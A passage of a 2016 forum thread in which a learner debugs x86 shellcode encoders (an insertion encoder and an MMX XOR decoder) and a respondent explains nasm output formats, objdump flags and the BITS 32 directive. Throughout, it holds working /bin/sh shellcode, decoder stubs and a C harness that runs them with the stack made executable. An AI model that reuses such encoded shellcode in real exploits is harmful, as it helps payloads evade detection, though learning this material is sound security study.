0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, 0x00, 0x74, 0x65, 0x73, 0x74, 0x2e, 0x6e, 0x61, 0x73, 0x6d, 0x00, 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74, 0x00, 0x64, 0x65, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x00, 0x64, 0x65, 0x63, 0x6f, 0x64, 0x65, 0x00, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x00, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; unsigned int __test_o_len = 608; While assembling with your method, it works. pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ nasm test.nasm -o test_your_method pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ xxd -i ./test_your_method unsigned char __test_your_method[] = { 0xeb, 0x2c, 0x66, 0x5e, 0x67, 0x66, 0x8d, 0x7e, 0x01, 0x66, 0x31, 0xc0, 0xb0, 0x01, 0x66, 0x31, 0xc9, 0x66, 0x31, 0xdb, 0xb1, 0x01, 0x67, 0x8a, 0x1c, 0x06, 0x30, 0xcb, 0x75, 0x13, 0x67, 0x8a, 0x5c, 0x06, 0x01, 0x67, 0x88, 0x1f, 0x66, 0x47, 0xfe, 0xc1, 0x04, 0x02, 0xeb, 0xe8, 0xe8, 0xd1, 0xff, 0x31, 0x01, 0xc0, 0x02, 0x50, 0x03, 0x68, 0x04, 0x2f, 0x05, 0x2f, 0x06, 0x73, 0x07, 0x68, 0x08, 0x68, 0x09, 0x2f, 0x0a, 0x62, 0x0b, 0x69, 0x0c, 0x6e, 0x0d, 0x89, 0x0e, 0xe3, 0x0f, 0x50, 0x10, 0x89, 0x11, 0xe2, 0x12, 0x53, 0x13, 0x89, 0x14, 0xe1, 0x15, 0xb0, 0x16, 0x0b, 0x17, 0xcd, 0x18, 0x80, 0x19 }; unsigned int __test_your_method_len = 99; pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ Between your method and the first line of the compile.sh script I can see no difference besides it's specifying the output file format but xxd gives me lot's of 0x00's when assembling with -f elf32?! But if I load the test.o or the executeable file test.elf up in objdump there are no 0x00's?? pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./compile.sh test [+] Assembling with Nasm ... [+] Linking ... [+] Done! pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d test -M intel test: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 22 jmp 8048084 <call_shellcode> 08048062 <decoder>: 8048062: 5e pop esi 8048063: 8d 7e 01 lea edi,[esi+0x1] 8048066: 31 c0 xor eax,eax 8048068: b0 01 mov al,0x1 804806a: 31 c9 xor ecx,ecx 804806c: 31 db xor ebx,ebx 804806e: b1 01 mov cl,0x1 08048070 <decode>: 8048070: 8a 1c 06 mov bl,BYTE PTR [esi+eax*1] 8048073: 30 cb xor bl,cl 8048075: 75 12 jne 8048089 <Shellcode> 8048077: 8a 5c 06 01 mov bl,BYTE PTR [esi+eax*1+0x1] 804807b: 88 1f mov BYTE PTR [edi],bl 804807d: 47 inc edi 804807e: fe c1 inc cl 8048080: 04 02 add al,0x2 8048082: eb ec jmp 8048070 <decode> 08048084 <call_shellcode>: 8048084: e8 d9 ff ff ff call 8048062 <decoder> 08048089 <Shellcode>: 8048089: 31 01 xor DWORD PTR [ecx],eax 804808b: c0 02 50 rol BYTE PTR [edx],0x50 804808e: 03 68 04 add ebp,DWORD PTR [eax+0x4] 8048091: 2f das 8048092: 05 2f 06 73 07 add eax,0x773062f 8048097: 68 08 68 09 2f push 0x2f096808 804809c: 0a 62 0b or ah,BYTE PTR [edx+0xb] 804809f: 69 0c 6e 0d 89 0e e3 imul ecx,DWORD PTR [esi+ebp*2],0xe30e890d 80480a6: 0f 50 (bad) 80480a8: 10 89 11 e2 12 53 adc BYTE PTR [ecx+0x5312e211],cl 80480ae: 13 89 14 e1 15 b0 adc ecx,DWORD PTR [ecx-0x4fea1eec] 80480b4: 16 push ss 80480b5: 0b 17 or edx,DWORD PTR [edi] 80480b7: cd 18 int 0x18 80480b9: 80 .byte 0x80 80480ba: 19 .byte 0x19 pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d test.o -M intel test.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: eb 22 jmp 24 <call_shellcode> 00000002 <decoder>: 2: 5e pop esi 3: 8d 7e 01 lea edi,[esi+0x1] 6: 31 c0 xor eax,eax 8: b0 01 mov al,0x1 a: 31 c9 xor ecx,ecx c: 31 db xor ebx,ebx e: b1 01 mov cl,0x1 00000010 <decode>: 10: 8a 1c 06 mov bl,BYTE PTR [esi+eax*1] 13: 30 cb xor bl,cl 15: 75 12 jne 29 <Shellcode> 17: 8a 5c 06 01 mov bl,BYTE PTR [esi+eax*1+0x1] 1b: 88 1f mov BYTE PTR [edi],bl 1d: 47 inc edi 1e: fe c1 inc cl 20: 04 02 add al,0x2 22: eb ec jmp 10 <decode> 00000024 <call_shellcode>: 24: e8 d9 ff ff ff call 2 <decoder> 00000029 <Shellcode>: 29: 31 01 xor DWORD PTR [ecx],eax 2b: c0 02 50 rol BYTE PTR [edx],0x50 2e: 03 68 04 add ebp,DWORD PTR [eax+0x4] 31: 2f das 32: 05 2f 06 73 07 add eax,0x773062f 37: 68 08 68 09 2f push 0x2f096808 3c: 0a 62 0b or ah,BYTE PTR [edx+0xb] 3f: 69 0c 6e 0d 89 0e e3 imul ecx,DWORD PTR [esi+ebp*2],0xe30e890d 46: 0f 50 (bad) 48: 10 89 11 e2 12 53 adc BYTE PTR [ecx+0x5312e211],cl 4e: 13 89 14 e1 15 b0 adc ecx,DWORD PTR [ecx-0x4fea1eec] 54: 16 push ss 55: 0b 17 or edx,DWORD PTR [edi] 57: cd 18 int 0x18 59: 80 .byte 0x80 5a: 19 .byte 0x19 pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ I also checked the man pages of ld because you didn't link anything and so maybe this step is redundant? It says it combines a number of object files but in my case there are no object files to combine, so what does ld do in my case? Quote LD(1) GNU Development Tools LD(1) NAME ld - The GNU linker SYNOPSIS ld [options] objfile ... DESCRIPTION ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld. You see I'm very new to this kind of stuff, but i'm willing to learn. Do you have some kind of advices or papers/articles about those topics which might help me getting more into it? I feel like I have to get deeper in this behind the scenes stuff of linux systems and files stuff. Edited July 12, 2016 by pcfx
Extreme Coders Posted July 12, 2016 Posted July 12, 2016 1 hour ago, pcfx said: So with readelf -l I get information of the file's segment header, is this correct? I'm not quite sure how I can verify if -z execstack is set or not because I get the same output with both files. You do not get the same output. Check the program headers @ https://www.diffchecker.com/smsdx92y 1 hour ago, pcfx said: Between your method and the first line of the compile.sh script I can see no difference besides it's specifying the output file format but xxd gives me lot's of 0x00's when assembling with -f elf32?! That's a whole world of difference. These are two different output formats. Your method compiles the asm to a object file. An object file contains your asm code along with other metadata to be used for linking by the GNU linker ld. An object file has its own header, and that's why you are seeing those 00 (null) bytes. 1 hour ago, pcfx said: But if I load the test.o or the executeable file test.elf up in objdump there are no 0x00's?? It's because objdump understands the respective file format. It only shows the disassembled code not the header. 1 hour ago, pcfx said: I also checked the man pages of ld because you didn't link anything and so maybe this step is redundant? It says it combines a number of object files but in my case there are no object files to combine, so what does ld do in my case? The linker is redundant. One of the output formats of nasm is the binary file format. This contains just the raw machine code. Once you have the raw machine code you can directly use it in your c file after xxd' ing it. In your case, the output format is elf32 which is an object file format. You cannot use such files directly and hence the need for the linker. 1 hour ago, pcfx said: You see I'm very new to this kind of stuff, but i'm willing to learn. Do you have some kind of advices or papers/articles about those topics which might help me getting more into it? I feel like I have to get deeper in this behind the scenes stuff of linux systems and files stuff. This is not related to reverse engineering or shellcoding. You would need to be familiar with the linux tools and the unix architecture in general. About advice, nothing beats first hand practice. If you use a linux distro for majority of your development work, you should get familiar with it. 1
pcfx Posted July 12, 2016 Author Posted July 12, 2016 (edited) Thanks man, this really helps me out but I encountered another problem while doing exercises. Here is another decoder, which should decode the bin/sh shellcode XOR'ed with 0xAA. pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ cat mmx_xor_decoder.nasm global _start section .text _start: jmp short call_shellcode decoder: pop edi ;get address of decoder_value lea esi, [edi+8] ;get address of EncodedShellcode xor ecx, ecx mov cl, 4 decode: movq mm0, qword [edi] ; 8 bytes of decoder_value movq mm1, qword [esi] ; points to shellcode pxor mm0, mm1 movq qword [esi], mm0 add esi, 0x8 loop decode jmp short EncodedShellcode call_shellcode: call decoder decoder_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa EncodedShellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a So I tried your workflow to obtain the op-code but I encounter a seg fault error again. pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ nasm mmx_xor_decoder.nasm -o mmx_xor_decoder.bin pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ objdump -d ./mmx_xor_decoder.bin -M intelobjdump: ./mmx_xor_decoder.bin: File format not recognized pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ xxd -i ./mmx_xor_decoder.bin unsigned char __mmx_xor_decoder_bin[] = { 0xeb, 0x23, 0x66, 0x5f, 0x67, 0x66, 0x8d, 0x77, 0x08, 0x66, 0x31, 0xc9, 0xb1, 0x04, 0x67, 0x0f, 0x6f, 0x07, 0x67, 0x0f, 0x6f, 0x0e, 0x0f, 0xef, 0xc1, 0x67, 0x0f, 0x7f, 0x06, 0x66, 0x83, 0xc6, 0x08, 0xe2, 0xeb, 0xeb, 0x0b, 0xe8, 0xda, 0xff, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0x9b, 0x6a, 0xfa, 0xc2, 0x85, 0x85, 0xd9, 0xc2, 0xc2, 0x85, 0xc8, 0xc3, 0xc4, 0x23, 0x49, 0xfa, 0x23, 0x48, 0xf9, 0x23, 0x4b, 0x1a, 0xa1, 0x67, 0x2a }; unsigned int __mmx_xor_decoder_bin_len = 73; pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ cp shellcode.c shellcode_1.c pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode_ shellcode_1.c shellcode_bin_sh.txt pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode_ shellcode_1.c shellcode_bin_sh.txt pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode_1.c pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ cat shellcode_1.c #include <stdio.h> #include <string.h> unsigned char code[] = { 0xeb, 0x23, 0x66, 0x5f, 0x67, 0x66, 0x8d, 0x77, 0x08, 0x66, 0x31, 0xc9, 0xb1, 0x04, 0x67, 0x0f, 0x6f, 0x07, 0x67, 0x0f, 0x6f, 0x0e, 0x0f, 0xef, 0xc1, 0x67, 0x0f, 0x7f, 0x06, 0x66, 0x83, 0xc6, 0x08, 0xe2, 0xeb, 0xeb, 0x0b, 0xe8, 0xda, 0xff, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0x9b, 0x6a, 0xfa, 0xc2, 0x85, 0x85, 0xd9, 0xc2, 0xc2, 0x85, 0xc8, 0xc3, 0xc4, 0x23, 0x49, 0xfa, 0x23, 0x48, 0xf9, 0x23, 0x4b, 0x1a, 0xa1, 0x67, 0x2a }; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ gcc -fno-stack-protector -z execstack shellcode_1.c -o shellcode_1 pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ ./shellcode_1 Shellcode Length: 73 Segmentation fault (core dumped) pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ With the other method it's working fine. Why do I get different opcodes and why can't I open the binary file with objdump? Shouldn't binary files just contain the op-code which the CPU can directly execute and hence it should be simple to disassemble? pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ ./compile.sh mmx_xor_decoder [+] Assembling with Nasm ... [+] Linking ... [+] Done! pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ objdump -d ./mmx_xor_decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x1b\x5f\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x0d\xe8\xe0\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a" pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ vim shellcode.c pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ ./shellcode Shellcode Length: 67 $ exit pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ ..and I can't disassemble binary files directly in gdb? pcfx@pcfx-VirtualBox:~/Code/shellcodes/mmx_xor_decoder$ gdb -q ./mmx_xor_decoder.bin "/home/pcfx/Code/shellcodes/mmx_xor_decoder/mmx_xor_decoder.bin": not in executable format: File format not recognized (gdb) I disassembled both op-codes with an online disassembler to see what's going on: working Spoiler String Literal: "\xEB\x1B\x5F\x8D\x77\x08\x31\xC9\xB1\x04\x0F\x6F\x07\x0F\x6F\x0E\x0F\xEF\xC1\x0F\x7F\x06\x83\xC6\x08\xE2\xEF\xEB\x0D\xE8\xE0\xFF\xFF\xFF\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x9B\x6A\xFA\xC2\x85\x85\xD9\xC2\xC2\x85\xC8\xC3\xC4\x23\x49\xFA\x23\x48\xF9\x23\x4B\x1A\xA1\x67\x2A" Array Literal: { 0xEB, 0x1B, 0x5F, 0x8D, 0x77, 0x08, 0x31, 0xC9, 0xB1, 0x04, 0x0F, 0x6F, 0x07, 0x0F, 0x6F, 0x0E, 0x0F, 0xEF, 0xC1, 0x0F, 0x7F, 0x06, 0x83, 0xC6, 0x08, 0xE2, 0xEF, 0xEB, 0x0D, 0xE8, 0xE0, 0xFF, 0xFF, 0xFF, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x9B, 0x6A, 0xFA, 0xC2, 0x85, 0x85, 0xD9, 0xC2, 0xC2, 0x85, 0xC8, 0xC3, 0xC4, 0x23, 0x49, 0xFA, 0x23, 0x48, 0xF9, 0x23, 0x4B, 0x1A, 0xA1, 0x67, 0x2A } Disassembly: 0: eb 1b jmp 0x1d 2: 5f pop edi 3: 8d 77 08 lea esi,[edi+0x8] 6: 31 c9 xor ecx,ecx 8: b1 04 mov cl,0x4 a: 0f 6f 07 movq mm0,QWORD PTR [edi] d: 0f 6f 0e movq mm1,QWORD PTR [esi] 10: 0f ef c1 pxor mm0,mm1 13: 0f 7f 06 movq QWORD PTR [esi],mm0 16: 83 c6 08 add esi,0x8 19: e2 ef loop 0xa 1b: eb 0d jmp 0x2a 1d: e8 e0 ff ff ff call 0x2 22: aa stos BYTE PTR es:[edi],al 23: aa stos BYTE PTR es:[edi],al 24: aa stos BYTE PTR es:[edi],al 25: aa stos BYTE PTR es:[edi],al 26: aa stos BYTE PTR es:[edi],al 27: aa stos BYTE PTR es:[edi],al 28: aa stos BYTE PTR es:[edi],al 29: aa stos BYTE PTR es:[edi],al 2a: 9b fwait 2b: 6a fa push 0xfffffffa 2d: c2 85 85 ret 0x8585 30: d9 c2 fld st(2) 32: c2 85 c8 ret 0xc885 35: c3 ret 36: c4 23 les esp,FWORD PTR [ebx] 38: 49 dec ecx 39: fa cli 3a: 23 48 f9 and ecx,DWORD PTR [eax-0x7] 3d: 23 4b 1a and ecx,DWORD PTR [ebx+0x1a] 40: a1 .byte 0xa1 41: 67 addr16 42: 2a .byte 0x2a not working: Spoiler String Literal: "\xEB\x23\x66\x5F\x67\x66\x8D\x77\x08\x66\x31\xC9\xB1\x04\x67\x0F\x6F\x07\x67\x0F\x6F\x0E\x0F\xEF\xC1\x67\x0F\x7F\x06\x66\x83\xC6\x08\xE2\xEB\xEB\x0B\xE8\xDA\xFF\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x9B\x6A\xFA\xC2\x85\x85\xD9\xC2\xC2\x85\xC8\xC3\xC4\x23\x49\xFA\x23\x48\xF9\x23\x4B\x1A\xA1\x67\x2A" Array Literal: { 0xEB, 0x23, 0x66, 0x5F, 0x67, 0x66, 0x8D, 0x77, 0x08, 0x66, 0x31, 0xC9, 0xB1, 0x04, 0x67, 0x0F, 0x6F, 0x07, 0x67, 0x0F, 0x6F, 0x0E, 0x0F, 0xEF, 0xC1, 0x67, 0x0F, 0x7F, 0x06, 0x66, 0x83, 0xC6, 0x08, 0xE2, 0xEB, 0xEB, 0x0B, 0xE8, 0xDA, 0xFF, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x9B, 0x6A, 0xFA, 0xC2, 0x85, 0x85, 0xD9, 0xC2, 0xC2, 0x85, 0xC8, 0xC3, 0xC4, 0x23, 0x49, 0xFA, 0x23, 0x48, 0xF9, 0x23, 0x4B, 0x1A, 0xA1, 0x67, 0x2A } Disassembly: 0: eb 23 jmp 0x25 2: 66 5f pop di 4: 67 66 8d 77 08 lea si,[bx+0x8] 9: 66 31 c9 xor cx,cx c: b1 04 mov cl,0x4 e: 67 0f 6f 07 movq mm0,QWORD PTR [bx] 12: 67 0f 6f 0e 0f ef movq mm1,QWORD PTR ds:0xef0f 18: c1 67 0f 7f shl DWORD PTR [edi+0xf],0x7f 1c: 06 push es 1d: 66 83 c6 08 add si,0x8 21: e2 eb loop 0xe 23: eb 0b jmp 0x30 25: e8 da ff aa aa call 0xaaab0004 2a: aa stos BYTE PTR es:[edi],al 2b: aa stos BYTE PTR es:[edi],al 2c: aa stos BYTE PTR es:[edi],al 2d: aa stos BYTE PTR es:[edi],al 2e: aa stos BYTE PTR es:[edi],al 2f: aa stos BYTE PTR es:[edi],al 30: 9b fwait 31: 6a fa push 0xfffffffa 33: c2 85 85 ret 0x8585 36: d9 c2 fld st(2) 38: c2 85 c8 ret 0xc885 3b: c3 ret 3c: c4 23 les esp,FWORD PTR [ebx] 3e: 49 dec ecx 3f: fa cli 40: 23 48 f9 and ecx,DWORD PTR [eax-0x7] 43: 23 4b 1a and ecx,DWORD PTR [ebx+0x1a] 46: a1 .byte 0xa1 47: 67 addr16 48: 2a .byte 0x2a I'm really confused. I think I'm doing something wrong or did not understand things properly. Edited July 12, 2016 by pcfx
Extreme Coders Posted July 13, 2016 Posted July 13, 2016 (edited) 8 hours ago, pcfx said: With the other method it's working fine. Why do I get different opcodes and why can't I open the binary file with objdump? Shouldn't binary files just contain the op-code which the CPU can directly execute and hence it should be simple to disassemble? Why doesn't objdump open the binary files on its own objdump can indeed disassemble binary files, but you need to pass the correct parameters. If you invoke objdump in straightforward way like this you would get an error. ec@ubuntu:~/Desktop/shellcode$ objdump -d -M intel ./mmx_xor_decoder.bin objdump: ./mmx_xor_decoder.bin: File format not recognized As it is a binary file, there are no headers. objdump uses the headers to figure out the type of file which it cannot in this case. If you tell objdump about the type of file it would happily disassemble. ec@ubuntu:~/Desktop/shellcode$ objdump -D -b binary -m i386 -M intel ./mmx_xor_decoder.bin ./mmx_xor_decoder.bin: file format binary Disassembly of section .data: 00000000 <.data>: 0: eb 23 jmp 0x25 2: 66 5f pop di 4: 66 67 8d 77 08 lea si,[bx+0x8] 9: 66 31 c9 xor cx,cx c: b1 04 mov cl,0x4 <snip> Why do you different opcodes in the two methods This is because for raw binary files nasm by default generates 16 bit code. You need to tell explicitly nasm to generate 32 bit code. This can be done by the USE32 or BITS 32 directive. This needs to be specified at the first line in your code. Spoiler ec@ubuntu:~/Desktop/shellcode$ cat mmx_xor_decoder.nasm BITS 32 global _start section .text _start: jmp short call_shellcode decoder: pop edi ;get address of decoder_value lea esi, [edi+8] ;get address of EncodedShellcode xor ecx, ecx mov cl, 4 decode: movq mm0, qword [edi] ; 8 bytes of decoder_value movq mm1, qword [esi] ; points to shellcode pxor mm0, mm1 movq qword [esi], mm0 add esi, 0x8 loop decode jmp short EncodedShellcode call_shellcode: call decoder decoder_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa EncodedShellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a The rest of the steps are the same. Edited July 13, 2016 by Extreme Coders 1
pcfx Posted July 13, 2016 Author Posted July 13, 2016 Alright thanks for your excellent explanations everything works now!
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now